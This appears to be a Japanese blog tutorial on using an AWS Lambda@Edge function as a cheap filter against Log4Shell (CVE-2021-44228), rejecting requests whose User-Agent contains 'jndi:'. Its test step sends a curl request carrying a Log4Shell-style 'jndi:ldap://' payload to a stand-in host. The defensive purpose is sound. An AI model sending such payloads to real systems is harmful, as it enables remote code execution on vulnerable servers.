Lambda@Edge で脆弱性対策
あらすじ
新たなウェブサイトの脆弱性への攻撃手法が出回り始めたけど、すぐには改修できない。
システムの外部で攻撃防御を行うにはWAFを使うことになるけれど、AWS WAFは高い。
(個人のウェブサイト維持費としては。会社ならどうということはないのですが)
特定の条件に合致するリクエストを弾くだけならば Lambda@Edge でも可能では?
ということで試してみた話。
今回はApache log4jの任意のコード実行の脆弱性(CVE-2021-44228)を対象とします。
https://www.jpcert.or.jp/at/2021/at210050.html
Lambda@Edgeとは
Amazon CloudFront の機能で、CDNエッヂで実行可能なLambda関数。
ウェブサイトへアクセスがあった都度実行させて、その結果を返すことができます。
ということはWAF的な動作も可能なはずです。
前提条件
脆弱性対策を行いたいウェブサイトで Amazon CloudFront (CDN) を利用していること。
Amazon CloudFrontのディストリビューション作成についてここでは触れません。
作成されている事を前提とします。
手順
1. Lambda関数の作成
まずは実行するLambda関数を作成しますが、最初に注意。
Lambda@Edge用のLambda関数は必ず us-east-1
リージョンで作成する必要があります。
これはCloudFrontのリージョンが常に同リージョンだからです。
右上のリージョン表示が バージニア北部 (us-east-1)
であることを確認して進めます。
AWSマネジメントコンソールから AWS Lambda の 関数の作成
を開きます。
ソースコードを作成します。
内容は CloudFront から Lambda@Edge に送られてくるデータから User-Agent を抽出し、log4j脆弱性に対する攻撃パターンである jndi:
という文字列を検出したら404エラーを返し、それ以外は通常通り処理する(requestを返す)という簡単なものです。
Lambda@Edgeはウェブサイト全てのアクセスに対して毎回呼び出されますから、極力軽く作りましょう。
def lambda_handler(event, context):
request = event['Records'][0]['cf']['request']
headers = request['headers']
error_response = {
'status': '404',
'statusDescription': 'Not Found',
'body': 'Not Found'
}
try:
useragent = headers['user-agent'][0]['value']
return error_response if ('jndi:' in useragent) else request
except Exception:
return error_response
このコードを画面内のコードソース /lambda_function.py 部分に貼り付けます。
2. Lambda関数のテスト
Deploy
ボタン隣の Test
をクリックしテストイベントを作成します。
イベント名は適当に名前を付け、
テンプレートから cloudfront-ab-test
を選択します。
画面下の 保存
をクリックすると保存され画面が閉じます。
テストに成功したことがわかります。
3. IAMロールの編集
Lambda関数をLambda@Edgeから呼び出せるよう、IAMロールを編集します。
設定
- アクセス権限
とクリックすると 実行ロール
が表示されます。
表示された画面から ロール名
欄の文字列をクリックすると、別画面でIAMロールの画面が開きます。
信頼関係
- 信頼ポリシーを編集
をクリックすると編集画面になります。
ここでポリシーを編集します。
具体的には Principal
に edgelambda.amazonaws.com
を追加します。
下記コードを貼り付けます。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": [
"lambda.amazonaws.com",
"edgelambda.amazonaws.com"
]
},
"Action": "sts:AssumeRole"
}
]
}
ポリシーを更新
をクリックすれば更新完了です。
IAMロールの画面は閉じて構いません。
ここではまった:
複数のサービスを登録する場合、サービスを ,
で追加するだけでなく、それらを [ ]
で囲む必要があります。
編集前のIAMロールには一つのサービス(lambda.amazonaws.com)が登録されているのみですから [ ]
がありません。よってこれも自分で追記する必要があります。
jsonの基本らしいですが、古い人間はこれを理解出来ず半日が過ぎました...
4. Lambda@Edgeへのデプロイ
AWS Lambda の画面に戻ります。
アクション
をクリックし、出現した選択肢から Lambda@Edge へのデプロイ
をクリックします。
-
Distribution
は デプロイする CloudFrontディストリビューションを選択 -
Cache behavior
は*
を入力 -
CloudFront event
はViewer request
を選択 -
Confirm deploy to Lambda@Edge
のチェックボックスをチェックする
そして デプロイ
をクリックすると画面遷移します。
このような画面が出現すればデプロイ完了です。
Amazon CloudFront は世界各地にデプロイされますから、数分かかります。
しばらく待ってから次に進みます。
5. 動作確認
それでは動作確認しましょう。今回はcurlで行います。
まずは通常の接続を試みます。
$ curl http://d2qmc8j12nwv5z.cloudfront.net/
<HTML><BODY><H1>TEST OK</H1></BODY></HTML>
$
問題無く接続されましたね。
次に、log4j攻撃を装い、User-Agentに細工をして接続を試みます。
$ curl --user-agent jndi:ldap://example.com/hoge http://d2qmc8j12nwv5z.cloudfront.net/
Not Found
$
404エラーで Not Found と返されました。
成功です。
注意点
更新時は再デプロイが必要
Lambda@EdgeではLambda関数の $latest は利用できません。
Lambda関数を更新してもLambda@Edgeへいっこうに反映されずに悩みました。
Lambda関数を更新したら、「毎回」手順4の Lambda@Edgeへのデプロイ
を行う必要があります。
同時アクセスはLambda関数の同時実行数上限まで
Lambda関数の同時実行数は既定では1000です。
つまり同時に1000を超えるアクセスがされるとLambda関数が実行できず、CloudFrontがエラーを返してしまいます。
上限緩和申請を行っても一般にその上限は3000です。高トラヒックのウェブサイトには向きません。
まぁ、通常そのようなウェブサイトはきちんとWAFを導入するでしょうからここでは気にしないことにします。
まとめ
Lambda@Edgeを利用してお安くお手軽に脆弱性対策ができました。
しかしながら、もちろんこれは本来の使い方ではありません。
ご利用は計画的に。